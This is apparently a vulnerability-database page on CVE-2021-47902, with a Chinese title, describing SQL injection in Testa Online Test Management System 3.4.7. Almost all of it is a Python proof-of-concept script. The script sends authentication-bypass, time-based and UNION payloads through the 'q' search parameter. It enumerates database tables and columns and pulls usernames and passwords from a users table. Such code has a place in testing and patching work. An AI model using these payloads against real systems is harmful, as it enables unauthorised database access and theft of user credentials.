CVE-2021-47902 Testa Online Test Management System SQL注入漏洞

# CVE-2021-47902 SQL Injection PoC for Testa Online Test Management System 3.4.7 # Target: Testa Online Test Management System # Vulnerability: SQL Injection in 'q' search parameter import requests import sys target_url = "http://target-host/testa/search" # Basic authentication bypass detection payload basic_payloads = [ "'", "' OR '1'='1", "' OR 1=1--", "' UNION SELECT NULL--", "' AND SLEEP(5)--" ] # Database enumeration payloads enum_payloads = [ "' UNION SELECT table_name FROM information_schema.tables--", "' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--", "' UNION SELECT username,password FROM users--" ] def test_sqli(url, payload): """Test SQL injection vulnerability""" params = {'q': payload} try: response = requests.get(url, params=params, timeout=10) # Check for SQL error indicators in response sql_error_indicators = [ "mysql", "sql", "syntax", "error", "warning", "mysql_fetch", "mysql_query", "pdo", "sqlite" ] response_lower = response.text.lower() for indicator in sql_error_indicators: if indicator in response_lower: return True, indicator except Exception as e: print(f"[-] Error: {e}") return False, None def main(): print("[*] CVE-2021-47902 SQL Injection Test") print(f"[*] Target: {target_url}") # Basic vulnerability check for payload in basic_payloads: print(f"[*] Testing payload: {payload}") is_vulnerable, error_type = test_sqli(target_url, payload) if is_vulnerable: print(f"[!] Potential SQL injection detected!") print(f"[!] Error type: {error_type}") print(f"[!] Vulnerable payload: {payload}") # Attempt enumeration print("[*] Attempting database enumeration...") for enum_payload in enum_payloads: print(f"[*] Testing: {enum_payload}") test_sqli(target_url, enum_payload) break if __name__ == "__main__": main()